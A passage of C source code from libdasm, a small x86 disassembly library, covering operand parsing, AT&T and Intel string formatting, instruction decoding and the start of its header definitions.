op->immoffset = index + offset; 500 | 501 | // check mode 502 | mode = MODE_CHECK_OPERAND(mode, iflags); 503 | 504 | switch (MASK_OT(oflags)) { 505 | case OT_b: 506 | op->immbytes = 1; 507 | op->immediate = FETCH8(addr + index); 508 | if ((op->immediate >= 0x80) && 509 | (MASK_FLAGS(oflags) == F_s)) 510 | op->immediate |= 0xffffff00; 511 | break; 512 | case OT_v: 513 | op->immbytes = (mode == MODE_32) ? 514 | 4 : 2; 515 | op->immediate = (mode == MODE_32) ? 516 | FETCH32(addr + index) : 517 | FETCH16(addr + index); 518 | break; 519 | case OT_w: 520 | op->immbytes = 2; 521 | op->immediate = FETCH16(addr + index); 522 | break; 523 | } 524 | instruction->immbytes += op->immbytes; 525 | break; 526 | 527 | // 32-bit or 48-bit address 528 | case AM_A: 529 | op->type = OPERAND_TYPE_IMMEDIATE; 530 | // check mode 531 | mode = MODE_CHECK_OPERAND(mode, iflags); 532 | 533 | op->dispbytes = (mode == MODE_32) ? 6 : 4; 534 | op->displacement = (mode == MODE_32) ? 535 | FETCH32(addr) : FETCH16(addr); 536 | op->section = FETCH16(addr + op->dispbytes - 2); 537 | 538 | instruction->dispbytes = op->dispbytes; 539 | instruction->sectionbytes = 2; 540 | break; 541 | 542 | // Plain displacement without MODRM/SIB 543 | case AM_O: 544 | op->type = OPERAND_TYPE_MEMORY; 545 | switch (MASK_OT(oflags)) { 546 | case OT_b: 547 | op->dispbytes = 1; 548 | op->displacement = FETCH8(addr); 549 | break; 550 | case OT_v: 551 | op->dispbytes = (mode == MODE_32) ? 4 : 2; 552 | op->displacement = (mode == MODE_32) ? 553 | FETCH32(addr) : FETCH16(addr); 554 | break; 555 | } 556 | instruction->dispbytes = op->dispbytes; 557 | op->dispoffset = offset; 558 | break; 559 | 560 | // General-purpose register encoded in MODRM 561 | case AM_G: 562 | op->type = OPERAND_TYPE_REGISTER; 563 | op->reg = reg; 564 | break; 565 | 566 | // control register encoded in MODRM 567 | case AM_C: 568 | // debug register encoded in MODRM 569 | case AM_D: 570 | // Segment register encoded in MODRM 571 | case AM_S: 572 | // TEST register encoded in MODRM 573 | case AM_T: 574 | // MMX register encoded in MODRM 575 | case AM_P: 576 | // XMM register encoded in MODRM 577 | case AM_V: 578 | op->type = OPERAND_TYPE_REGISTER; 579 | op->reg = MASK_MODRM_REG(instruction->modrm); 580 | break; 581 | } 582 | return 1; 583 | } 584 | 585 | 586 | // Print operand string 587 | 588 | #if !defined NOSTR 589 | int get_operand_string(INSTRUCTION *inst, OPERAND *op, 590 | enum Format format, DWORD offset, char *string, int length) { 591 | 592 | enum Mode mode; 593 | int regtype = 0; 594 | DWORD tmp = 0; 595 | 596 | memset(string, 0, length); 597 | 598 | if (op->type == OPERAND_TYPE_REGISTER) { 599 | // check mode 600 | mode = MODE_CHECK_OPERAND(inst->mode, inst->flags); 601 | 602 | if (format == FORMAT_ATT) 603 | snprintf(string + strlen(string), length - strlen(string), "%%"); 604 | 605 | // Determine register type 606 | switch (MASK_AM(op->flags)) { 607 | case AM_REG: 608 | if (MASK_FLAGS(op->flags) == F_r) 609 | regtype = REG_SEGMENT; 610 | else if (MASK_FLAGS(op->flags) == F_f) 611 | regtype = REG_FPU; 612 | else 613 | regtype = REG_GEN_DWORD; 614 | break; 615 | case AM_E: 616 | case AM_G: 617 | case AM_R: 618 | regtype = REG_GEN_DWORD; 619 | break; 620 | // control register encoded in MODRM 621 | case AM_C: 622 | regtype = REG_CONTROL; 623 | break; 624 | // debug register encoded in MODRM 625 | case AM_D: 626 | regtype = REG_DEBUG; 627 | break; 628 | // Segment register encoded in MODRM 629 | case AM_S: 630 | regtype = REG_SEGMENT; 631 | break; 632 | // TEST register encoded in MODRM 633 | case AM_T: 634 | regtype = REG_TEST; 635 | break; 636 | // MMX register encoded in MODRM 637 | case AM_P: 638 | case AM_Q: 639 | regtype = REG_MMX; 640 | break; 641 | // XMM register encoded in MODRM 642 | case AM_V: 643 | case AM_W: 644 | regtype = REG_XMM; 645 | break; 646 | } 647 | if (regtype == REG_GEN_DWORD) { 648 | switch (MASK_OT(op->flags)) { 649 | case OT_b: 650 | snprintf(string + strlen(string), length - strlen(string), 651 | "%s", reg_table[REG_GEN_BYTE][op->reg]); 652 | break; 653 | case OT_v: 654 | snprintf(string + strlen(string), length - strlen(string), 655 | "%s", (mode == MODE_32) ? 656 | reg_table[REG_GEN_DWORD][op->reg] : 657 | reg_table[REG_GEN_WORD][op->reg]); 658 | break; 659 | case OT_w: 660 | snprintf(string + strlen(string), length - strlen(string), 661 | "%s", reg_table[REG_GEN_WORD][op->reg]); 662 | break; 663 | case OT_d: 664 | snprintf(string + strlen(string), length - strlen(string), 665 | "%s", reg_table[REG_GEN_DWORD][op->reg]); 666 | break; 667 | } 668 | } else 669 | snprintf(string + strlen(string), length - strlen(string), 670 | "%s", reg_table[regtype][op->reg]); 671 | 672 | } else if (op->type == OPERAND_TYPE_MEMORY) { 673 | // check mode 674 | mode = MODE_CHECK_ADDR(inst->mode, inst->flags); 675 | 676 | // Operand-specific segment override 677 | if (MASK_PREFIX_G2(inst->flags)) 678 | snprintf(string + strlen(string), 679 | length - strlen(string), 680 | "%s%s:", (format == FORMAT_ATT) ? "%" : "", 681 | reg_table[REG_SEGMENT][(MASK_PREFIX_G2(inst->flags)) - 1]); 682 | // Some ATT stuff we need to check at this point 683 | if (format == FORMAT_ATT) { 684 | 685 | // "executable" operand 686 | if (MASK_PERMS(op->flags) == P_x) 687 | snprintf(string + strlen(string), 688 | length - strlen(string), "*"); 689 | 690 | // displacement in front of brackets 691 | if (op->dispbytes) 692 | snprintf(string + strlen(string), 693 | length - strlen(string), 694 | "0x%x", op->displacement); 695 | 696 | // no empty brackets - we're ready 697 | if ((op->basereg == REG_NOP) && 698 | (op->indexreg == REG_NOP)) 699 | return 1; 700 | } 701 | // Open memory addressing brackets 702 | snprintf(string + strlen(string), length - strlen(string), 703 | "%s", (format == FORMAT_ATT) ? "(" : "["); 704 | 705 | // Base register 706 | if (op->basereg != REG_NOP) { 707 | snprintf(string + strlen(string), length - strlen(string), 708 | "%s%s", (format == FORMAT_ATT) ? "%" : "", 709 | (mode == MODE_32) ? 710 | reg_table[REG_GEN_DWORD][op->basereg] : 711 | reg_table[REG_GEN_WORD][op->basereg]); 712 | } 713 | // Index register 714 | if (op->indexreg != REG_NOP) { 715 | if (op->basereg != REG_NOP) 716 | snprintf(string + strlen(string), length - strlen(string), 717 | "%s%s", (format == FORMAT_ATT) ? ",%" : "+", 718 | (mode == MODE_32) ? 719 | reg_table[REG_GEN_DWORD][op->indexreg] : 720 | reg_table[REG_GEN_WORD][op->indexreg]); 721 | else 722 | snprintf(string + strlen(string), length - strlen(string), 723 | "%s%s", (format == FORMAT_ATT) ? "%" : "", 724 | (mode == MODE_32) ? 725 | reg_table[REG_GEN_DWORD][op->indexreg] : 726 | reg_table[REG_GEN_WORD][op->indexreg]); 727 | switch (op->scale) { 728 | case 2: 729 | snprintf(string + strlen(string), length - strlen(string), 730 | "%s", (format == FORMAT_ATT) ? 731 | ",2" : "*2"); 732 | break; 733 | case 4: 734 | snprintf(string + strlen(string), length - strlen(string), 735 | "%s", (format == FORMAT_ATT) ? 736 | ",4" : "*4"); 737 | break; 738 | case 8: 739 | snprintf(string + strlen(string), length - strlen(string), 740 | "%s", (format == FORMAT_ATT) ? 741 | ",8" : "*8"); 742 | break; 743 | } 744 | } 745 | // INTEL displacement 746 | if (inst->dispbytes && (format != FORMAT_ATT)) { 747 | if ((op->basereg != REG_NOP) || (op->indexreg != REG_NOP)) { 748 | // Negative displacement 749 | if (op->displacement & (1<<(op->dispbytes*8-1))) { 750 | tmp = op->displacement; 751 | switch (op->dispbytes) { 752 | case 1: 753 | tmp = ~tmp & 0xff; 754 | break; 755 | case 2: 756 | tmp = ~tmp & 0xffff; 757 | break; 758 | case 4: 759 | tmp = ~tmp; 760 | break; 761 | } 762 | snprintf(string + strlen(string), 763 | length - strlen(string), 764 | "-0x%x", tmp + 1); 765 | // Positive displacement 766 | } else 767 | snprintf(string + strlen(string), 768 | length - strlen(string), 769 | "+0x%x", op->displacement); 770 | // Plain displacement 771 | } else { 772 | snprintf(string + strlen(string), 773 | length - strlen(string), 774 | "0x%x", op->displacement); 775 | } 776 | } 777 | // Close memory addressing brackets 778 | snprintf(string + strlen(string), length - strlen(string), 779 | "%s", (format == FORMAT_ATT) ? ")" : "]"); 780 | 781 | } else if (op->type == OPERAND_TYPE_IMMEDIATE) { 782 | 783 | switch (MASK_AM(op->flags)) { 784 | case AM_J: 785 | snprintf(string + strlen(string), length - strlen(string), 786 | "0x%x", op->immediate + inst->length + offset); 787 | break; 788 | case AM_I1: 789 | case AM_I: 790 | if (format == FORMAT_ATT) 791 | snprintf(string + strlen(string), length - strlen(string), "$"); 792 | snprintf(string + strlen(string), length - strlen(string), 793 | "0x%x", op->immediate); 794 | break; 795 | // 32-bit or 48-bit address 796 | case AM_A: 797 | snprintf(string + strlen(string), length - strlen(string), 798 | "%s0x%x:%s0x%x", 799 | (format == FORMAT_ATT) ? "$" : "", 800 | op->section, 801 | (format == FORMAT_ATT) ? "$" : "", 802 | op->displacement); 803 | break; 804 | } 805 | 806 | } else 807 | return 0; 808 | 809 | return 1; 810 | } 811 | 812 | #endif 813 | 814 | 815 | // Fetch instruction 816 | 817 | /* 818 | * The operation is quite straightforward: 819 | * 820 | * - determine actual opcode (skip prefixes etc.) 821 | * - figure out which instruction table to use 822 | * - index the table with opcode 823 | * - parse operands 824 | * - fill instruction structure 825 | * 826 | * Only point where this gets hairy is those *brilliant* 827 | * opcode extensions.... 828 | * 829 | */ 830 | int get_instruction(PINSTRUCTION inst, BYTE *addr, enum Mode mode) { 831 | PINST ptr = NULL; 832 | int index = 0; 833 | int flags = 0; 834 | 835 | memset(inst, 0, sizeof(INSTRUCTION)); 836 | 837 | // Parse flags, skip prefixes etc. 838 | get_real_instruction(addr, &index, &flags); 839 | 840 | // Select instruction table 841 | 842 | // No extensions - normal 1-byte opcode: 843 | if (MASK_EXT(flags) == 0) { 844 | inst->opcode = *(addr + index); 845 | ptr = &inst_table1[inst->opcode]; 846 | 847 | // FPU opcodes 848 | } else if (MASK_EXT(flags) == EXT_CP) { 849 | if (*(addr + index) < 0xc0) { 850 | // MODRM byte adds the additional byte 851 | index--; 852 | inst->fpuindex = *(addr + index) - 0xd8; 853 | inst->opcode = *(addr + index + 1); 854 | ptr = &inst_table4[inst->fpuindex] 855 | [MASK_MODRM_REG(inst->opcode)]; 856 | } else { 857 | inst->fpuindex = *(addr + index - 1) - 0xd8; 858 | inst->opcode = *(addr + index); 859 | ptr = &inst_table4[inst->fpuindex] 860 | [inst->opcode - 0xb8]; 861 | } 862 | // 2 or 3-byte opcodes 863 | } else if (MASK_EXT(flags) == EXT_T2) { 864 | inst->opcode = *(addr + index); 865 | 866 | // Parse flags, skip prefixes etc. (again) 867 | get_real_instruction2(addr + index, &flags); 868 | 869 | // 2-byte opcode table 870 | ptr = &inst_table2[inst->opcode]; 871 | 872 | // 3-byte opcode tables 873 | if (MASK_TYPE_FLAGS(ptr->type) == TYPE_3) { 874 | // prefix 0x66 875 | if (MASK_PREFIX_OPERAND(flags) == 1) { 876 | ptr = &inst_table3_66[inst->opcode]; 877 | 878 | // prefix 0xf2 879 | } else if (MASK_PREFIX_G1(flags) == 2) { 880 | ptr = &inst_table3_f2[inst->opcode]; 881 | 882 | // prefix 0xf3 883 | } else if (MASK_PREFIX_G1(flags) == 3) { 884 | ptr = &inst_table3_f3[inst->opcode]; 885 | 886 | } 887 | } 888 | } 889 | // Opcode extension tables 890 | if (MASK_EXT(flags) && (MASK_EXT(flags) < EXT_T2)) { 891 | inst->opcode = *(addr + index); 892 | inst->extindex = MASK_MODRM_REG(*(addr + index + 1)); 893 | 894 | switch (MASK_EXT(flags)) { 895 | case EXT_GC: 896 | // prefix 0x66 897 | if (MASK_PREFIX_OPERAND(flags) == 1) 898 | ptr = &inst_table_ext12_66[inst->extindex]; 899 | else 900 | ptr = &inst_table_ext12[inst->extindex]; 901 | break; 902 | case EXT_GD: 903 | // prefix 0x66 904 | if (MASK_PREFIX_OPERAND(flags) == 1) 905 | ptr = &inst_table_ext13_66[inst->extindex]; 906 | else 907 | ptr = &inst_table_ext13[inst->extindex]; 908 | break; 909 | case EXT_GE: 910 | // prefix 0x66 911 | if (MASK_PREFIX_OPERAND(flags) == 1) 912 | ptr = &inst_table_ext14_66[inst->extindex]; 913 | else 914 | ptr = &inst_table_ext14[inst->extindex]; 915 | break; 916 | // monitor/mwait 917 | // XXX: hack..... 918 | case EXT_G7: 919 | if (MASK_MODRM_MOD(*(addr + index + 1)) == 3) { 920 | if (inst->extindex != 1) 921 | return 0; 922 | if (MASK_MODRM_RM(*(addr + index + 1)) == 0) { 923 | ptr = &inst_monitor; 924 | // index is incremented to get 925 | // correct instruction len 926 | index++; 927 | } else if (MASK_MODRM_RM(*(addr + index + 1)) == 1) { 928 | ptr = &inst_mwait; 929 | index++; 930 | } else 931 | return 0; 932 | 933 | } else { 934 | ptr = &inst_table_ext7[inst->extindex]; 935 | } 936 | break; 937 | default: 938 | ptr = &inst_table_ext[(MASK_EXT(flags)) - 1] 939 | [inst->extindex]; 940 | break; 941 | } 942 | } 943 | // Index points now to first byte after prefixes/escapes 944 | index++; 945 | 946 | // MODRM byte offset 947 | if (ptr->modrm) 948 | inst->modrm_offset = index; 949 | 950 | // Illegal instruction 951 | if (!ptr) 952 | return 0; 953 | if (!ptr->mnemonic) 954 | return 0; 955 | 956 | // Copy instruction type 957 | inst->type = MASK_TYPE_VALUE(ptr->type); 958 | 959 | // Eflags affected by this instruction 960 | inst->eflags_affected = ptr->eflags_affected; 961 | inst->eflags_used = ptr->eflags_used; 962 | 963 | // Pointer to instruction table 964 | inst->ptr = ptr; 965 | 966 | 967 | // Parse operands 968 | if (!get_operand(ptr, ptr->flags1, inst, &inst->op1, addr, index, 969 | mode, flags)) 970 | return 0; 971 | if (!get_operand(ptr, ptr->flags2, inst, &inst->op2, addr, index, 972 | mode, flags)) 973 | return 0; 974 | if (!get_operand(ptr, ptr->flags3, inst, &inst->op3, addr, index, 975 | mode, flags)) 976 | return 0; 977 | 978 | // Implied operands 979 | inst->iop_read = ptr->iop_read; 980 | inst->iop_written = ptr->iop_written; 981 | 982 | // Add modrm/sib, displacement and immediate bytes in size 983 | inst->length += index + inst->immbytes + inst->dispbytes; 984 | 985 | // Copy addressing mode 986 | inst->mode = mode; 987 | 988 | // Copy instruction flags 989 | inst->flags = flags; 990 | 991 | return inst->length; 992 | } 993 | 994 | 995 | // Print instruction mnemonic 996 | 997 | #if !defined NOSTR 998 | int get_mnemonic_string(INSTRUCTION *inst, enum Format format, char *string, int length) { 999 | int mode; 1000 | 1001 | memset(string, 0, length); 1002 | 1003 | // Segment override, branch hint 1004 | if (MASK_PREFIX_G2(inst->flags) && 1005 | (inst->op1.type != OPERAND_TYPE_MEMORY) && 1006 | (inst->op2.type != OPERAND_TYPE_MEMORY)) { 1007 | // Branch hint 1008 | if (inst->type == INSTRUCTION_TYPE_JMPC) 1009 | snprintf(string + strlen(string), length - strlen(string), 1010 | "%s ", reg_table[REG_BRANCH][(MASK_PREFIX_G2(inst->flags)) - 1]); 1011 | // Segment override for others 1012 | else 1013 | snprintf(string + strlen(string), length - strlen(string), 1014 | "%s ", reg_table[REG_SEGMENT][(MASK_PREFIX_G2(inst->flags)) - 1]); 1015 | } 1016 | 1017 | // Rep, lock etc. 1018 | if (MASK_PREFIX_G1(inst->flags) && 1019 | (MASK_EXT(inst->flags) != EXT_T2)) 1020 | snprintf(string + strlen(string), length - strlen(string), 1021 | "%s", rep_table[(MASK_PREFIX_G1(inst->flags)) - 1]); 1022 | 1023 | // Mnemonic 1024 | // XXX: quick hack for jcxz/jecxz.. check if there are more 1025 | // of these opcodes that have different mnemonic in same opcode 1026 | if (((inst->type == INSTRUCTION_TYPE_JMPC) && 1027 | (inst->opcode == 0xe3)) && 1028 | (MASK_PREFIX_ADDR(inst->flags) == 1)) 1029 | snprintf(string + strlen(string), length - strlen(string), 1030 | "jcxz"); 1031 | else 1032 | snprintf(string + strlen(string), length - strlen(string), 1033 | "%s", inst->ptr->mnemonic); 1034 | 1035 | 1036 | // memory operation size in push/pop: 1037 | if (inst->type == INSTRUCTION_TYPE_PUSH) { 1038 | if (inst->op1.type == OPERAND_TYPE_IMMEDIATE) { 1039 | switch (inst->op1.immbytes) { 1040 | case 1: 1041 | snprintf(string + strlen(string), 1042 | length - strlen(string), 1043 | "%s", (format == FORMAT_ATT) ? 1044 | "b" : " byte"); 1045 | break; 1046 | case 2: 1047 | snprintf(string + strlen(string), 1048 | length - strlen(string), 1049 | "%s", (format == FORMAT_ATT) ? 1050 | "w" : " word"); 1051 | break; 1052 | case 4: 1053 | snprintf(string + strlen(string), 1054 | length - strlen(string), 1055 | "%s", (format == FORMAT_ATT) ? 1056 | "l" : " dword"); 1057 | break; 1058 | } 1059 | 1060 | } else if (inst->op1.type == OPERAND_TYPE_MEMORY) { 1061 | mode = MODE_CHECK_OPERAND(inst->mode, inst->flags); 1062 | 1063 | if (mode == MODE_16) { 1064 | snprintf(string + strlen(string), 1065 | length - strlen(string), 1066 | "%s", (format == FORMAT_ATT) ? 1067 | "w" : " word"); 1068 | } else if (mode == MODE_32) { 1069 | snprintf(string + strlen(string), 1070 | length - strlen(string), 1071 | "%s", (format == FORMAT_ATT) ? 1072 | "l" : " dword"); 1073 | } 1074 | 1075 | } 1076 | return 1; 1077 | 1078 | } 1079 | if (inst->type == INSTRUCTION_TYPE_POP) { 1080 | if (inst->op1.type == OPERAND_TYPE_MEMORY) { 1081 | mode = MODE_CHECK_OPERAND(inst->mode, inst->flags); 1082 | 1083 | if (mode == MODE_16) { 1084 | snprintf(string + strlen(string), 1085 | length - strlen(string), 1086 | "%s", (format == FORMAT_ATT) ? 1087 | "w" : " word"); 1088 | } else if (mode == MODE_32) { 1089 | snprintf(string + strlen(string), 1090 | length - strlen(string), 1091 | "%s", (format == FORMAT_ATT) ? 1092 | "l" : " dword"); 1093 | } 1094 | } 1095 | return 1; 1096 | } 1097 | 1098 | // memory operation size in immediate to memory operations 1099 | if (inst->ptr->modrm && (MASK_MODRM_MOD(inst->modrm) != 3) && 1100 | (MASK_AM(inst->op2.flags) == AM_I)) { 1101 | 1102 | switch (MASK_OT(inst->op1.flags)) { 1103 | case OT_b: 1104 | snprintf(string + strlen(string), length - strlen(string), 1105 | "%s", (format == FORMAT_ATT) ? 1106 | "b" : " byte"); 1107 | break; 1108 | case OT_w: 1109 | snprintf(string + strlen(string), length - strlen(string), 1110 | "%s", (format == FORMAT_ATT) ? 1111 | "w" : " word"); 1112 | break; 1113 | case OT_d: 1114 | snprintf(string + strlen(string), length - strlen(string), 1115 | "%s", (format == FORMAT_ATT) ? 1116 | "l" : " dword"); 1117 | break; 1118 | case OT_v: 1119 | if (((inst->mode == MODE_32) && (MASK_PREFIX_OPERAND(inst->flags) == 0)) || 1120 | ((inst->mode == MODE_16) && (MASK_PREFIX_OPERAND(inst->flags) == 1))) 1121 | snprintf(string + strlen(string), length - strlen(string), 1122 | "%s", (format == FORMAT_ATT) ? 1123 | "l" : " dword"); 1124 | else 1125 | snprintf(string + strlen(string), length - strlen(string), 1126 | "%s", (format == FORMAT_ATT) ? 1127 | "w" : " word"); 1128 | break; 1129 | } 1130 | } 1131 | 1132 | // XXX: there might be some other cases where size is needed.. 1133 | 1134 | return 1; 1135 | } 1136 | 1137 | // Print operands 1138 | 1139 | int get_operands_string(INSTRUCTION *inst, enum Format format, DWORD offset, 1140 | char *string, int length) { 1141 | 1142 | if (format == FORMAT_ATT) { 1143 | if (inst->op3.type != OPERAND_TYPE_NONE) { 1144 | snprintf(string + strlen(string), length - strlen(string), " "); 1145 | get_operand_string(inst, &inst->op3, format, offset, 1146 | string + strlen(string), length - strlen(string)); 1147 | snprintf(string + strlen(string), length - strlen(string), ","); 1148 | } 1149 | if (inst->op2.type != OPERAND_TYPE_NONE) { 1150 | if(inst->op3.type == OPERAND_TYPE_NONE) 1151 | snprintf(string + strlen(string), length - strlen(string), " "); 1152 | get_operand_string(inst, &inst->op2, format, offset, 1153 | string + strlen(string), length - strlen(string)); 1154 | snprintf(string + strlen(string), length - strlen(string), ","); 1155 | } 1156 | if (inst->op1.type != OPERAND_TYPE_NONE) 1157 | if(inst->op2.type == OPERAND_TYPE_NONE) 1158 | snprintf(string + strlen(string), length - strlen(string), " "); 1159 | get_operand_string(inst, &inst->op1, format, offset, 1160 | string + strlen(string), length - strlen(string)); 1161 | } else if (format == FORMAT_INTEL) { 1162 | if (inst->op1.type != OPERAND_TYPE_NONE) { 1163 | snprintf(string + strlen(string), length - strlen(string), " "); 1164 | get_operand_string(inst, &inst->op1, format, offset, 1165 | string + strlen(string), length - strlen(string)); 1166 | } 1167 | if (inst->op2.type != OPERAND_TYPE_NONE) { 1168 | snprintf(string + strlen(string), length - strlen(string), ","); 1169 | get_operand_string(inst, &inst->op2, format, offset, 1170 | string + strlen(string), length - strlen(string)); 1171 | } 1172 | if (inst->op3.type != OPERAND_TYPE_NONE) { 1173 | snprintf(string + strlen(string), length - strlen(string), ","); 1174 | get_operand_string(inst, &inst->op3, format, offset, 1175 | string + strlen(string), length - strlen(string)); 1176 | } 1177 | } else 1178 | return 0; 1179 | 1180 | return 1; 1181 | } 1182 | 1183 | // Print instruction mnemonic, prefixes and operands 1184 | 1185 | int get_instruction_string(INSTRUCTION *inst, enum Format format, DWORD offset, 1186 | char *string, int length) { 1187 | 1188 | // Print the actual instruction string with possible prefixes etc. 1189 | get_mnemonic_string(inst, format, string, length); 1190 | 1191 | // Print operands 1192 | if (!get_operands_string(inst, format, offset, 1193 | string + strlen(string), length - strlen(string))) 1194 | return 0; 1195 | 1196 | return 1; 1197 | } 1198 | 1199 | #endif 1200 | 1201 | // Helper functions 1202 | 1203 | int get_register_type(POPERAND op) { 1204 | 1205 | if (op->type != OPERAND_TYPE_REGISTER) 1206 | return 0; 1207 | switch (MASK_AM(op->flags)) { 1208 | case AM_REG: 1209 | if (MASK_FLAGS(op->flags) == F_r) 1210 | return REGISTER_TYPE_SEGMENT; 1211 | else if (MASK_FLAGS(op->flags) == F_f) 1212 | return REGISTER_TYPE_FPU; 1213 | else 1214 | return REGISTER_TYPE_GEN; 1215 | case AM_E: 1216 | case AM_G: 1217 | case AM_R: 1218 | return REGISTER_TYPE_GEN; 1219 | case AM_C: 1220 | return REGISTER_TYPE_CONTROL; 1221 | case AM_D: 1222 | return REGISTER_TYPE_DEBUG; 1223 | case AM_S: 1224 | return REGISTER_TYPE_SEGMENT; 1225 | case AM_T: 1226 | return REGISTER_TYPE_TEST; 1227 | case AM_P: 1228 | case AM_Q: 1229 | return REGISTER_TYPE_MMX; 1230 | case AM_V: 1231 | case AM_W: 1232 | return REGISTER_TYPE_XMM; 1233 | default: 1234 | break; 1235 | } 1236 | return 0; 1237 | } 1238 | 1239 | int get_operand_type(POPERAND op) { 1240 | return op->type; 1241 | } 1242 | 1243 | int get_operand_register(POPERAND op) { 1244 | return op->reg; 1245 | } 1246 | 1247 | int get_operand_basereg(POPERAND op) { 1248 | return op->basereg; 1249 | } 1250 | 1251 | int get_operand_indexreg(POPERAND op) { 1252 | return op->indexreg; 1253 | } 1254 | 1255 | int get_operand_scale(POPERAND op) { 1256 | return op->scale; 1257 | } 1258 | 1259 | int get_operand_immediate(POPERAND op, DWORD *imm) { 1260 | if (op->immbytes) { 1261 | *imm = op->immediate; 1262 | return 1; 1263 | } else 1264 | return 0; 1265 | } 1266 | 1267 | int get_operand_displacement(POPERAND op, DWORD *disp) { 1268 | if (op->dispbytes) { 1269 | *disp = op->displacement; 1270 | return 1; 1271 | } else 1272 | return 0; 1273 | } 1274 | 1275 | // XXX: note that source and destination are not always literal 1276 | 1277 | POPERAND get_source_operand(PINSTRUCTION inst) { 1278 | if (inst->op2.type != OPERAND_TYPE_NONE) 1279 | return &inst->op2; 1280 | else 1281 | return NULL; 1282 | } 1283 | POPERAND get_destination_operand(PINSTRUCTION inst) { 1284 | if (inst->op1.type != OPERAND_TYPE_NONE) 1285 | return &inst->op1; 1286 | else 1287 | return NULL; 1288 | } 1289 | 1290 | 1291 | -------------------------------------------------------------------------------- /lib/libdasm.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | * libdasm -- simple x86 disassembly library 4 | * (c) 2004 - 2006 jt / nologin.org 5 | * 6 | * libdasm.h: 7 | * Definitions for structures, functions and other weird stuff 8 | * 9 | */ 10 | 11 | 12 | #ifndef _LIBDASM_H 13 | #define _LIBDASM_H 14 | 15 | #ifdef __cplusplus 16 | extern "C" { 17 | #endif 18 | 19 | #define __LIBDASM_VERSION__ 0x01050000 20 | 21 | #define GET_VERSION_MAJOR \ 22 | (__LIBDASM_VERSION__ & 0xff000000) >> 24 23 | #define GET_VERSION_MINOR1 \ 24 | (__LIBDASM_VERSION__ & 0x00ff0000) >> 16 25 | #define GET_VERSION_MINOR2 \ 26 | (__LIBDASM_VERSION__ & 0x0000ff00) >> 8 27 | #define GET_VERSION_MINOR3 \ 28 | (__LIBDASM_VERSION__ & 0x000000ff) 29 | 30 | // Data types 31 | 32 | #if _WIN32 33 | #include 34 | #define __inline__ __inline 35 | #define snprintf _snprintf 36 | typedef unsigned __int64 QWORD; // for MSVC 37 | typedef signed __int8 SBYTE; 38 | typedef signed __int16 SWORD; 39 | typedef signed __int32 SDWORD; 40 | typedef signed __int64 SQWORD; 41 | #else 42 | #if defined __sun 43 | #define BYTE_ORDER 1234 44 | #define BIG_ENDIAN 1234 45 | #define LITTLE_ENDIAN 4321 46 | #define u_int8_t uint8_t 47 | #define u_int16_t uint16_t 48 | #define u_int32_t uint32_t 49 | #define u_int64_t uint64_t 50 | 51 | #endif // other *nix 52 | #include 53 | typedef u_int8_t BYTE; 54 | typedef u_int16_t WORD; 55 | typedef u_int32_t DWORD; 56 | typedef u_int64_t QWORD; 57 | typedef int8_t SBYTE; 58 | typedef int16_t SWORD; 59 | typedef int32_t SDWORD; 60 | typedef int64_t SQWORD; 61 | #endif 62 | 63 | // Define endianess 64 | 65 | #ifndef __X86__ 66 | // These should catch x86 with most compilers 67 | #if defined _X86_ || defined _i386_ || defined __i386__ 68 | #define __X86__ 69 | #endif 70 | #endif 71 | 72 | #ifndef __LITTLE_ENDIAN__ 73 | // These should catch little-endian with most compilers 74 | #if (BYTE_ORDER == LITTLE_ENDIAN) || defined __X86__ || defined _ALPHA_ 75 | #define __LITTLE_ENDIAN__ 76 | #endif 77 | #endif 78 | 79 | 80 | // Registers 81 | #define REGISTER_EAX 0 82 | #define REGISTER_ECX 1 83 | #define REGISTER_EDX 2 84 | #define REGISTER_EBX 3 85 | #define REGISTER_ESP 4 86 | #define REGISTER_EBP 5 87 | #define REGISTER_ESI 6 88 | #define REGISTER_EDI 7 89 | #define REGISTER_NOP 8 // no register defined 90 | 91 | // Registers 92 | #define REG_EAX REGISTER_EAX 93 | #define REG_AX REG_EAX 94 | #define REG_AL REG_EAX 95 | #define REG_ES REG_EAX // Just for reg_table consistence 96 | #define REG_ST0 REG_EAX // Just for reg_table consistence 97 | #define REG_ECX REGISTER_ECX 98 | #define REG_CX REG_ECX 99 | #define REG_CL REG_ECX 100 | #define REG_CS REG_ECX 101 | #define REG_ST1 REG_ECX 102 | #define REG_EDX REGISTER_EDX 103 | #define REG_DX REG_EDX 104 | #define REG_DL REG_EDX 105 | #define REG_SS REG_EDX 106 | #define REG_ST2 REG_EDX 107 | #define REG_EBX REGISTER_EBX 108 | #define REG_BX REG_EBX 109 | #define REG_BL REG_EBX 110 | #define REG_DS REG_EBX 111 | #define REG_ST3 REG_EBX 112 | #define REG_ESP REGISTER_ESP 113 | #define REG_SP REG_ESP 114 | #define REG_AH REG_ESP // Just for reg_table consistence 115 | #define REG_FS REG_ESP 116 | #define REG_ST4 REG_ESP 117 | #define REG_EBP REGISTER_EBP 118 | #define REG_BP REG_EBP 119 | #define REG_CH REG_EBP 120 | #define REG_GS REG_EBP 121 | #define REG_ST5 REG_EBP 122 | #define REG_ESI REGISTER_ESI 123 | #define REG_SI REG_ESI 124 | #define REG_DH REG_ESI 125 | #define REG_ST6 REG_ESI 126 | #define REG_EDI REGISTER_EDI 127 | #define REG_DI REG_EDI 128 | #define REG_BH REG_EDI 129 | #define REG_ST7 REG_EDI 130 | #define REG_NOP REGISTER_NOP 131 | 132 | // Implied operands 133 | #define IOP_EAX 1 134 | #define IOP_ECX (1 << REG_ECX) 135 | #define IOP_EDX (1 << REG_EDX) 136 | #define IOP_EBX (1 << REG_EBX) 137 | #define IOP_ESP (1 << REG_ESP) 138 | #define IOP_EBP (1 << REG_EBP) 139 | #define IOP_ESI (1 << REG_ESI) 140 | #define IOP_EDI (1 << REG_EDI) 141 | #define IOP_ALL IOP_EAX|IOP_ECX|IOP_EDX|IOP_ESP|IOP_EBP|IOP_ESI|IOP_EDI 142 | #define IS_IOP_REG(x,y) (x >> y) & 1 143 | #define IS_IOP_EAX(x) (x) & 1 144 | #define IS_IOP_ECX(x) (x >> REG_ECX) & 1 145 | #define IS_IOP_EDX(x) (x >> REG_EDX) & 1 146 | #define IS_IOP_EBX(x) (x >> REG_EBX) & 1 147 | #define IS_IOP_EBP(x) (x >> REG_EBP) & 1 148 | #define IS_IOP_ESI(x) (x >> REG_ESI) & 1 149 | #define IS_IOP_EDI(x) (x >> REG_EDI) & 1 150 | 151 | 152 | // Register types 153 | #define REGISTER_TYPE_GEN 1 154 | #define REGISTER_TYPE_SEGMENT 2 155 | #define REGISTER_TYPE_DEBUG 3 156 | #define 